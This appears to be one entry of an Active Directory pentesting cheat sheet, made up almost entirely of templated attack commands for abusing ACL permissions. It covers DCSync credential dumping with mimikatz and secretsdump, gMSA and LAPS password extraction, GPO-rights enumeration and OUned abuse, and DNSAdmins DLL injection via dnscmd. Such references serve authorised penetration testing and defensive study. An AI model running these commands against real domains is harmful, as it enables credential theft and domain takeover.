← boxes

ACLs/ACEs permissions box 9 / 17

ACLs/ACEs permissions

22 cmds

Domain AdminLateral moveCrack hash

  • Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts
  • mimikatz mimikatz lsadump::dcsync /domain:<target_domain> /user:<target_domain>\administrator
  • secretsdump.py secretsdump.py '<domain>'/'<user>':'<password>'@'<domain_controller>'

  • GenericAll/GenericWrite/Self/Add Extended Rights
    • Add member to the group
  • Write Owner
    • Grant Ownership
  • WriteDACL + WriteOwner
    • Grant rights
      • Give yourself generic all

  • Write Dacl
    • ACE Inheritance
      • Grant rights
  • GenericAll / GenericWrite / Manage Group Policy Links
    • OUned.py OUned.py --config config.ini

  • gMSADumper.py gMSADumper.py -u '<user>' -p '<password>' -d '<domain>'
  • nxc nxc ldap <ip> -u <user> -p <pass> --gmsa
  • ldeep ldeep ldap -u <user> -p <password> -d <domain> -s ldaps://<dc_ip> gmsa

  • Who can read LAPS
    • MATCH MATCH p=(g:Base)-[:ReadLAPSPassword]->(c:Computer) RETURN p
  • Read LAPSAdmin
    • Get-LapsADPassword Get-LapsADPassword -DomainController <ip_dc> -Credential <domain>\<login> | Format-Table -AutoSize
    • ldeep ldeep ldap -u <user> -p <password> -d <domain> -s ldap://<dc_ip> laps
    • foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
    • nxc nxc ldap <dc_ip> -d <domain> -u <user> -p <password> --module laps
    • msf> msf> use post/windows/gather/credentials/enum_laps

  • Who can control GPOs
    • MATCH MATCH p=((n:Base)-[]->(gp:GPO)) RETURN p
  • SID of principals that can create new GPOs in the domain
    • Get-DomainObjectAcl Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=blah,DC=com" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
  • Return the principals that can write to the GP-Link attribute on OUs
    • Get-DomainOU Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN, SecurityIdentifier | fl
  • Generic Write on GPO
    • Abuse GPOACCESS

  • DNSadmins abuse (CVE-2021-40469)cveAdmin
    • dnscmd.exe dnscmd.exe /config /serverlevelplugindll <\\path\to\dll> # need a dnsadmin user
    • sc sc \\DNSServer stop dns sc \\DNSServer start dns